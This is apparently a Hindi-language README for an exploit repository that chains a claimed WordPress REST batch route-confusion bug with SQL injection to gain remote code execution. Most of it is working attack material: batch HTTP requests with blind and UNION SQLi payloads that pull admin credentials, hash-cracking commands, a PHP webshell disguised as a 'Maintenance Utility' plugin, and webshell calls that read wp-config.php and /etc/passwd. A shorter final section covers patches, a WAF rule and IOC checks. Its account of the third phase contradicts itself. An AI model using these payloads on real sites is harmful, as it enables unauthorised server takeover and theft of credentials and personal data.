
भेद्यता: REST बैच रूट कन्फ्यूज़न + WP_Query SQL इंजेक्शन → पूर्ण RCE
CVSS v3.1: 10.0 / 10.0 — गंभीर | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
प्रभावित: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | पैच किया गया: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)
---
## त्वरित आरंभ
### 1. असुरक्षित प्रयोगशाला सेट अप करें
**आवश्यकताएँ:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030
# Start vulnerable WordPress
docker compose up -d
# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080
pip install requests
python3 exploit.py http://localhost:8080
python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"
python3 exploit.py http://localhost:8080 --check-only
### 3. अपेक्षित आउटपुट```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible
[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...
[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123
[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated
[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php
[+] RCE CONFIRMED!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@target$ _
भेद्यता: अप्रमाणित रिमोट कोड निष्पादन — REST बैच रूट कन्फ्यूज़न + WP_Query SQL इंजेक्शन
CVSS v3.1: 10.0 / 10.0 — गंभीर
वेक्टर: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE-2026-60137 WordPress कोर में एक अप्रमाणित RCE भेद्यता है। यह दो स्वतंत्र बगों को एक पूर्ण शोषण श्रृंखला में जोड़ता है, जो शून्य-पहुँच से पूर्ण सर्वर समझौते तक जाती है:
| CVE | बग | श्रृंखला में भूमिका |
|---|---|---|
| CVE-2026-63030 | REST बैच रूट कन्फ्यूज़न | प्रमाणीकरण बायपास करें |
| CVE-2026-60137 | author__not_in SQL इंजेक्शन | मनमाना डेटाबेस पढ़ना/लिखना |
प्रभावित संस्करण:
शोषण की शर्तें:
→ अधिकांश WordPress इंस्टॉलेशन डिफ़ॉल्ट रूप से भेद्य हैं।
/wp-json/batch/v1)एक ही HTTP अनुरोध के भीतर कई REST API अनुरोध भेजने की अनुमति देता है:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }
प्रत्येक उप-अनुरोध को उसके अपने हैंडलर से मिलान किया जाता है, और प्रत्येक हैंडलर का अपना **permission callback** होता है।
### WP_Query — `author__not_in`
कोर डेटाबेस क्वेरी क्लास। `author__not_in` पैरामीटर पूर्णांकों की एक सरणी स्वीकार करता है, जो SQL क्लॉज़ उत्पन्न करता है:```sql
AND post_author NOT IN (5, 12, 23)
प्रत्येक तत्व absint() से गुजरता है → केवल पूर्णांक भाग को बनाए रखते हुए।
wp_parse_url()parse_url() के लिए रैपर। अमान्य URL प्राप्त होने पर → WP_Error लौटाता है।```php
wp_parse_url("https://example.com/path") // → OK
wp_parse_url("///") // → WP_Error
## 3. मूल कारण — Bug A: Batch Route Confusion (CVE-2026-63030)
**फ़ाइल:** `wp-includes/rest-api/class-wp-rest-server.php`
### असुरक्षित स्रोत कोड:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
$requests = $batch_request->get_json_params()['requests'];
$matches = array();
foreach ( $requests as $i => $single_request ) {
$parsed = wp_parse_url( $single_request['path'] );
if ( is_wp_error( $parsed ) ) {
$responses[ $i ] = $this->error_to_response( $parsed );
continue; // ←BUG: $matches[] is NOT appended
}
$matches[] = $this->match_request_to_handler( $parsed );
// ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
}
// Dispatch — this is where the bug comes into play
$match_index = 0;
foreach ( $requests as $i => $single_request ) {
if ( isset( $responses[ $i ] ) ) continue;
$handler = $matches[ $match_index ]; // ← INDEX IS DESYNCED
$match_index++;
// Request[i] runs with the permission callback OF ANOTHER REQUEST
$permission_callback = $handler['permission_callback'];
call_user_func( $permission_callback, $single_request );
}
}
Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}
Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler
Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication
### `"///"` बग को क्यों ट्रिगर करता है?
जब PHP `parse_url()` को `"///"` मिलता है, तो यह **RFC 3986** — URL संरचना के अनुसार इसे पार्स करने का प्रयास करता है:```
scheme :// authority / path
│ │ │
"https" "localhost:8080" "/wp/v2/posts"
│
host + port
जब "///" प्राप्त होता है, तो यह इसे इस प्रकार व्याख्या करता है:```
// → authority begins (double slash = has host)
/ → empty authority, path begins immediately
→ host = "" (empty)
→ path = "" (empty)
→ scheme = none
PHP रिटर्न परिणाम:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version
WordPress इसे wp_parse_url() में लपेटता है → कोई मान्य scheme नहीं, कोई मान्य host नहीं, कोई सार्थक path नहीं पता लगाता है → WP_Error लौटाता है।
wp_parse_url("///") WP_Error लौटाता है (गलत URL)। यह त्रुटि अनुरोध को $matches बनाने वाले लूप में स्किप करा देती है, लेकिन इसे dispatch लूप में स्किप नहीं किया जाता → सरणी डीसिंक हो जाती है।
फ़ाइल: wp-includes/class-wp-query.php
class WP_Query { public function get_posts() { global $wpdb;
if ( ! empty( $q['author__not_in'] ) ) {
$author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
$where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
// ↑ INJECTION POINT
}
}
}
### सामान्य (सुरक्षित) पथ:```
User input → REST Controller → array cast + absint() → WP_Query → SQL
↑ sanitization occurs here
REST नियंत्रक (class-wp-rest-posts-controller.php):```php
$args['author__not_in'] = array_map('absint', (array)$request['author_exclude']);
// "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0]
// → SAFE
### रूट कन्फ्यूज़न वाला पथ (असुरक्षित):```
User input → Route Confusion bypass → WP_Query directly → SQL
↑ REST controller is SKIPPED
जब बैच डिसिंक होता है, अनुरोध पैरामीटर REST कंट्रोलर से नहीं गुजरते → कच्चा स्ट्रिंग सीधे WP_Query में जाता है → wp_parse_id_list() में एक एज-केस बाइपास होता है → SQL इंजेक्शन।
author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"
उत्पन्न SQL:```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
↑ INJECTED ↑ commented out
| परिदृश्य | परिणाम |
|---|---|
| केवल बग A (रूट कन्फ्यूज़न) | अनुमति को बायपास करें → लेकिन इंजेक्ट करने के लिए कुछ नहीं |
| केवल बग B (SQLi) | REST कंट्रोलर हमेशा इनपुट को कास्ट करता है → इंजेक्ट नहीं कर सकते |
| बग A + बग B | कन्फ्यूज़न कंट्रोलर को बायपास करता है → SQL में कच्चा स्ट्रिंग → RCE |
अकेले, ये दोनों बग हानिरहित हैं। केवल जब श्रृंखलाबद्ध किए जाते हैं:
POST /wp-json/batch/v1 Content-Type: application/json
{ "requests": [ {"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}} ] }
→ Response[0]: `parse_path_failed` (प्राइमर ट्रिगर हुआ)
→ Response[1]: `rest_invalid_handler` (हैंडलर डिसिंक की पुष्टि हुई)
### **चरण 2: SQL Injection — डेटा निकालें**
**ब्लाइंड बूलियन :**```
0) OR (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1) > 96-- -
TRUE बनाम FALSE प्रतिक्रिया की तुलना करें → प्रत्येक कैरेक्टर की बाइनरी सर्च करें।
UNION In-Band :``` 0) UNION SELECT 99999,1,NOW(),NOW(),user_pass,user_login,'','publish', 'closed','closed','','slug','','',NOW(),NOW(),'',0, CONCAT('http://x/',user_login),0,'post','',0 FROM wp_users LIMIT 1-- -
फेक पोस्ट पंक्ति जिसमें JSON प्रतिक्रिया में लौटाई गई क्रेडेंशियल्स शामिल हैं।
→ परिणाम: `wp_users` से `user_login` और `user_pass` (bcrypt हैश) सफलतापूर्वक निकाले गए।
### **चरण 3: हैश क्रैक करें → एडमिन में लॉगिन करें**
चरण 2 से प्राप्त हैश bcrypt प्रारूप (`$wp$2y$10$...`) में है। `$wp$` उपसर्ग हटाएँ → john/hashcat + वर्डलिस्ट का उपयोग करके क्रैक करें → सादा पाठ पासवर्ड प्राप्त करें → `/wp-login.php` पर लॉगिन करें।
**नोट:** इंजेक्शन बिंदु `SELECT` के `WHERE` क्लॉज के अंदर है। MySQL मल्टी-स्टेटमेंट अक्षम करता है → UNION केवल READ है, WRITE नहीं → SQLi के माध्यम से सीधे नया एडमिन INSERT नहीं किया जा सकता। वैध सत्र प्राप्त करने के लिए हैश को क्रैक करना ही होगा।
### चरण 4: वेबशेल अपलोड```
1. Login with new admin → wp-login.php
2. GET /wp-admin/plugin-install.php?tab=upload → extract _wpnonce
3. POST multipart → upload ZIP plugin containing PHP shell
4. Activate plugin
GET /wp-content/plugins/shell/shell.php?token=xxx&cmd=id → uid=33(www-data) gid=33(www-data)
## **7. शोषण**
CVE-2026-60137 का शोषण **शून्य पहुंच** — बिना खाता, बिना पासवर्ड, बिना सत्र — से **पूर्ण सर्वर नियंत्रण** तक केवल HTTP अनुरोधों के माध्यम से जाता है।
**आवश्यकताएं:** लक्ष्य WordPress 6.9.0–6.9.4 या 7.0.0–7.0.1 चला रहा है जिसमें REST API सार्वजनिक है (डिफ़ॉल्ट रूप से सक्षम)। लॉग इन करने या कोई क्रेडेंशियल जानने की आवश्यकता नहीं है।
**शोषण श्रृंखला में 5 चरण होते हैं:**```
Phase 1: Route Confusion → Bypass authentication
Phase 2: SQL Injection → Read database (username, password hash)
Phase 3: Crack-Free Admin → Create new admin without cracking password
Phase 4: Webshell Upload → Install backdoor via plugin upload
Phase 5: RCE → Execute arbitrary commands on the server
लक्ष्य: पुष्टि करें कि लक्ष्य असुरक्षित (vulnerable) है — प्राइमर पाथ "///" भेजने पर हैंडलर ऐरे डिसिंक (desync) हो जाता है।
सिद्धांत: बैच एंडपॉइंट एक HTTP कॉल में कई REST अनुरोध भेजने की अनुमति देता है। जब wp_parse_url("///") विफल हो जाता है, WordPress $matches ऐरे बनाते समय उस अनुरोध को छोड़ देता है, लेकिन डिस्पैच के दौरान उसे SKIP नहीं करता → हैंडलर ऑफसेट हो जाते हैं → अगला अनुरोध गलत परमिशन कॉलबैक के साथ चलता है → प्रमाणीकरण (authentication) को बायपास करता है।
अनुरोध भेजें:``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json
{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts","body":{"title":"test","status":"draft"}}]}
**प्रतिक्रिया:**```
{
"responses": [
{"body": {"code": "parse_path_failed"}, "status": 400},
{"body": {"code": "rest_invalid_handler"}, "status": 500}
]
}
कैसे पढ़ें:

| प्रतिक्रिया |
|---|
हम देखते हैं कि rest_invalid_handler का अर्थ है:
"WordPress समझता है कि हैंडलर अनुरोध से मेल नहीं खाता"
→ अर्थात $matches ऐरे पहले से ही DESYNC है, प्राइमर "///" काम कर चुका है और इस desync का शोषण करके अनुरोध को किसी अन्य रूट के permission callback के साथ चलाया जा सकता है (ऐसा रूट जिसे प्रमाणीकरण की आवश्यकता नहीं है)
→ प्रमाणीकरण बाइपास संभव है
rest_invalid_handler दिखाई देने पर → Bug A की पुष्टि हुई।
TRUE (OR 1=1):
```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) OR 1=1-- -"},{"method":"GET","path":"/wp/v2/posts"}]}
**FALSE (AND 1=2):**
```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND 1=2-- -"},{"method":"GET","path":"/wp/v2/posts"}]}
X-WP-Total में अंतर → SQLi की पुष्टि.
पहला अक्षर:
```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT SUBSTRING(user_login,1,1) FROM wp_users WHERE ID=1)=CHAR(97)-- -"},{"method":"GET","path":"/wp/v2/posts"}]}
`CHAR(97)` = `'a'`. X-WP-Total=8 (TRUE) → इसलिए पहला अक्षर `'a'` है
क्रमिक रूप से गणना करने पर, हमें मिलता है: `user_login` = **"admin"**
#### **चरण 3 — पासवर्ड हैश निकालें**```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 30-- -"},{"method":"GET","path":"/wp/v2/posts"}]}


user_pass में प्रत्येक वर्ण का ASCII कोड निर्धारित करने के लिए बाइनरी सर्च का उपयोग करें:```
Payload: ASCII(SUBSTRING(user_pass,1,1)) > 30 → X-WP-Total: 8 (TRUE)
Payload: ASCII(SUBSTRING(user_pass,1,1)) > 40 → X-WP-Total: 0 (FALSE)
दो विपरीत प्रतिक्रियाएँ पुष्टि करती हैं कि पहले वर्ण का ASCII **(30, 40]** सीमा के भीतर आता है). संकुचन जारी रखें:```
> 35 → TRUE
> 36 → FALSE
→ ASCII = 36 = '$'
Continue binary searching each position → obtain the hash prefix string $wp$:
Continue using BLIND SQL character by character:
→ Full hash: $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi
After Phase 2, we have:
user_login = adminuser_pass = $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igiCrack Hash
WordPress hashes use the bcrypt format ($2y$10$), with a cost factor of 10. Before cracking, we need to strip the $wp$ prefix because hashcat/john only accepts pure bcrypt:```
echo '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' > hash.txt
john hash.txt --wordlist=mini_wordlist.txt --format=bcrypt
**परिणाम:**

पासवर्ड **`admin123`** वर्डलिस्ट में है → john तुरंत इसे क्रैक कर लेता है।
→ `/wp-login.php` पर `admin:admin123` के साथ सफलतापूर्वक लॉगिन किया गया।
### **7.4 चरण 4: वेबशेल अपलोड करें**
इस बिंदु पर, हमारे पास एक वैध एडमिन सत्र है। अगला लक्ष्य सर्वर पर **बैकडोर स्थापित करना** है ताकि क्रेडेंशियल्स से स्वतंत्र रूप से पहुँच बनाए रखी जा सके।
WordPress एडमिन को ZIP प्रारूप में प्लगइन अपलोड करने की अनुमति देता है — यह एक वैध सुविधा है, और हम इसका दुरुपयोग करेंगे।
#### **वेबशेल बनाएँ**
पहले, हमें एक PHP फ़ाइल चाहिए जो सिस्टम कमांड निष्पादित करे। इस फ़ाइल को WordPress द्वारा स्वीकार करने के लिए एक नकली प्लगइन में पैकेज किया जाएगा:```php
<?php
/*
Plugin Name: Maintenance Utility
Version: 1.0
*/
if (isset($_GET['token']) && $_GET['token'] === 'secret123' && isset($_GET['cmd'])) {
header('Content-Type: text/plain');
echo shell_exec($_GET['cmd'] . ' 2>&1');
exit;
}
secret123 टोकन एक पासवर्ड के रूप में कार्य करता है — दूसरों को गलती से शेल ट्रिगर करने से रोकता है।```bash
mkdir shell && mv shell.php shell/
zip -r shell.zip shell/

सफलतापूर्वक बनाया गया।
#### **वर्डप्रेस पर अपलोड करें**
`shell.zip` सफलतापूर्वक बनाने के बाद, इसे ट्रिगर करने के लिए ज़िप फ़ाइल को प्लगइन अनुभाग में अपलोड करें।
WordPress फ़ाइल को निकालकर निम्न स्थान पर रखता है:```
/var/www/html/wp-content/plugins/shell/shell.php
प्लगइन सूची में "Maintenance Utility" नाम के अंतर्गत Active स्थिति के साथ दिखाई देता है → वेबशेल अब HTTP के माध्यम से ट्रिगर किए जाने के लिए तैयार है।

UPLOAD और ACTIVE सफल रहे।
इस प्रकार, शेल सर्वर पर है। शेल को निष्पादित करने के लिए इसे कॉल करें।
RCE की पुष्टि करें:``` GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=id
```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data उपयोगकर्ता के रूप में चल रहा है — वेब सर्वर का उपयोगकर्ता। आगे, प्रभाव को बढ़ाएँ:
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/var/www/html/wp-config.php

— वेबशेल के माध्यम से `wp-config.php` फ़ाइल को पढ़ने का कमांड निष्पादित करता है — जिससे WordPress की सभी गुप्त कुंजियाँ (`AUTH_KEY`, `SECURE_AUTH_KEY`, `LOGGED_IN_KEY`, `NONCE_KEY`,...) और डेटाबेस क्रेडेंशियल उजागर हो जाते हैं। यह WordPress इंस्टॉलेशन में सबसे संवेदनशील जानकारी है।

*—* प्रतिक्रिया `wp-config.php` की सामग्री लौटाती है जिसमें `DB_NAME`, `DB_USER`, `DB_PASSWORD`, `DB_HOST` शामिल हैं — जो WordPress से गुज़रे बिना सीधे डेटाबेस सर्वर तक पहुँच के लिए पर्याप्त है।
#### **सभी सिस्टम उपयोगकर्ताओं को पढ़ें:**```
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/etc/passwd

→ OS-स्तर की पहुंच की पुष्टि करता है, अब केवल WordPress दायरे तक सीमित नहीं है।
इस बिंदु पर, एक्सप्लॉइट श्रृंखला पूरी हो गई है:``` Zero credentials ↓ Route Confusion (Bug A) Auth bypass ↓ SQL Injection (Bug B) admin:admin123 ↓ hashcat/john Admin session ↓ Plugin upload Webshell active ↓ shell_exec() Full RCE — www-data
### **7.6 सारांश**
| **#** | **चरण** | **विधि** | **पथ** |
| --- | --- | --- | --- |
| 1 | SQLi TRUE | POST | `/?rest_route=/batch/v1` |
| 2 | SQLi FALSE | POST | `/?rest_route=/batch/v1` |
| 3 | उपयोगकर्ता नाम निकालें | POST | `/?rest_route=/batch/v1` |
| 4 | हैश निकालें | POST | `/?rest_route=/batch/v1` |
| 5 | एडमिन लॉगिन | POST | `/wp-login.php` |
| 6 | नॉन्स प्राप्त करें | GET | `/wp-admin/plugin-install.php` |
| 7 | शेल अपलोड करें | POST | `/wp-admin/update.php` |
| 8 | सक्रिय करें | GET | `/wp-admin/plugins.php` |
| 9 | **RCE** | GET | `/wp-content/plugins/shell/shell.php` |
**9 अनुरोध। शून्य प्रारंभिक क्रेडेंशियल। लॉगिन पेज से → पूर्ण सर्वर नियंत्रण।**
## 8. CVSS विवरण
| मेट्रिक | मान | कारण |
| --- | --- | --- |
| हमला वेक्टर | नेटवर्क | HTTP के माध्यम से दूरस्थ |
| हमला जटिलता | निम्न | नियतात्मक, कोई समय/रेस आवश्यक नहीं |
| आवश्यक विशेषाधिकार | कोई नहीं | पूरी तरह से अप्रमाणित |
| उपयोगकर्ता इंटरैक्शन | कोई नहीं | कोई पीड़ित कार्रवाई आवश्यक नहीं |
| दायरा | परिवर्तित | WP → OS स्तर (www-data) |
| गोपनीयता | उच्च | पूर्ण DB पठन |
| अखंडता | उच्च | मनमाना DB लेखन, फ़ाइल अपलोड |
| उपलब्धता | उच्च | DROP टेबल, रैनसमवेयर |
## 9. प्रभाव
### तकनीकी
| परत | प्रभाव |
| --- | --- |
| डेटाबेस | सब कुछ पढ़ने/लिखने की पहुंच: wp_users, wp_options, wp_posts |
| एप्लिकेशन | एडमिन बनाएं, सामग्री संशोधित करें, बैकडोर इंस्टॉल करें |
| सर्वर | www-data के रूप में RCE, wp-config.php, /etc/passwd पढ़ें |
| नेटवर्क | DB क्रेडेंशियल के माध्यम से आंतरिक सेवाओं में पिवट करें |
### व्यावसायिक
| परिदृश्य | परिणाम |
| --- | --- |
| ई-कॉमर्स | PII लीक, भुगतान कुंजियाँ चुराना, स्किमर इंजेक्ट करना |
| कॉर्पोरेट | विरूपण, SEO स्पैम, मैलवेयर वितरण |
| मल्टीसाइट | 1 एक्सप्लॉइट → पूरे नेटवर्क से समझौता |
| SaaS (WP मार्केटिंग) | env vars निकालें → प्रोडक्शन में पिवट करें |
### जोखिम में डेटा
- `wp_users`: उपयोगकर्ता नाम, ईमेल, पासवर्ड हैश
- `wp_usermeta`: PII (नाम, फ़ोन, पता), session_tokens
- `wp_options`: DB क्रेडेंशियल, SMTP क्रेडेंशियल, भुगतान API कुंजियाँ, WordPress salts
- `wp-config.php`: डेटाबेस होस्ट/उपयोगकर्ता/पासवर्ड, गुप्त कुंजियाँ
- `/proc/self/environ`: पर्यावरण चर
## 10. बचाव और सुधार
### 10.1 पैच (पूर्ण)
| वर्तमान संस्करण | अपग्रेड करने की आवश्यकता |
| --- | --- |
| 6.9.0 – 6.9.4 | **6.9.5** |
| 7.0.0 – 7.0.1 | **7.0.2** |
| 6.8.x | **6.8.6** |
### 10.2 कोड सुधार
**Bug A — रूट भ्रम:**```php
// BEFORE: $matches[] is offset when an error occurs
if (is_wp_error($parsed)) { continue; }
$matches[] = $match;
// AFTER: Use $i to maintain alignment
if (is_wp_error($parsed)) { $matches[$i] = null; continue; }
$matches[$i] = $match;
बग B — SQL इंजेक्शन:```php // BEFORE: wp_parse_id_list has an edge case $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
// AFTER: Force cast + explicit absint $safe = array_map('absint', array_filter((array)$q['author__not_in'])); $author_not_in = implode(',', $safe);
### 10.3 अस्थायी शमन
**1. बैच एंडपॉइंट अक्षम करें (सबसे प्रभावी):**```php
add_filter('rest_endpoints', function($endpoints) {
unset($endpoints['/batch/v1']);
return $endpoints;
});
2. Redis/Memcached सक्षम करें:```bash wp plugin install redis-cache --activate wp redis enable
→ UNION इंजेक्शन प्रतिबिंबित नहीं होता (कैश पुराना डेटा लौटाता है).
**3. WAF नियम:**```nginx
location /wp-json/batch/ {
if ($request_body ~* '"path"\s*:\s*"///') {
return 403;
}
}
लॉग पैटर्न:``` POST /wp-json/batch/v1 HTTP/1.1" 207 ← anomalous batch requests POST /wp-json/wp/v2/users HTTP/1.1" 201 ← newly created admin POST /wp-admin/update.php HTTP/1.1" 200 ← plugin upload immediately after GET /wp-content/plugins/*/shell.php" 200 ← webshell access
**IOC जाँच:**```bash
wp user list --role=administrator # unfamiliar admin?
ls wp-content/mu-plugins/ # backdoor?
wp core verify-checksums # core modified?
| फ़ाइल | विवरण |
|---|
README.md | पूर्ण भेद्यता विश्लेषण और शोषण विवरण |
exploit.py | स्वचालित शोषण स्क्रिप्ट (एक कमांड में शून्य-पहुँच → RCE) |
docker-compose.yml | भेद्य WordPress प्रयोगशाला वातावरण |
chain-rce.md | स्वचालित RCE श्रृंखला दस्तावेज़ीकरण |
images/ | मैन्युअल शोषण से स्क्रीनशॉट |
| कोड |
|---|
| अर्थ |
|---|
[0] | parse_path_failed | प्राइमर काम करता है — wp_parse_url("///") विफल रहा |
[1] | rest_invalid_handler | DESYNC! अनुरोध को गलत हैंडलर मिला → प्रमाणीकरण बाइपास |
| Position | ASCII | Character | Notes |
|---|
| 1 | 36 | $ | Hash prefix |
| 2 | 119 | w | |
| 3 | 112 | p | |
| 4 | 36 | $ | → $wp$ = bcrypt variant |
| 5-20 | ... | 2y$10$aJgATdlhfI | Cost factor + salt |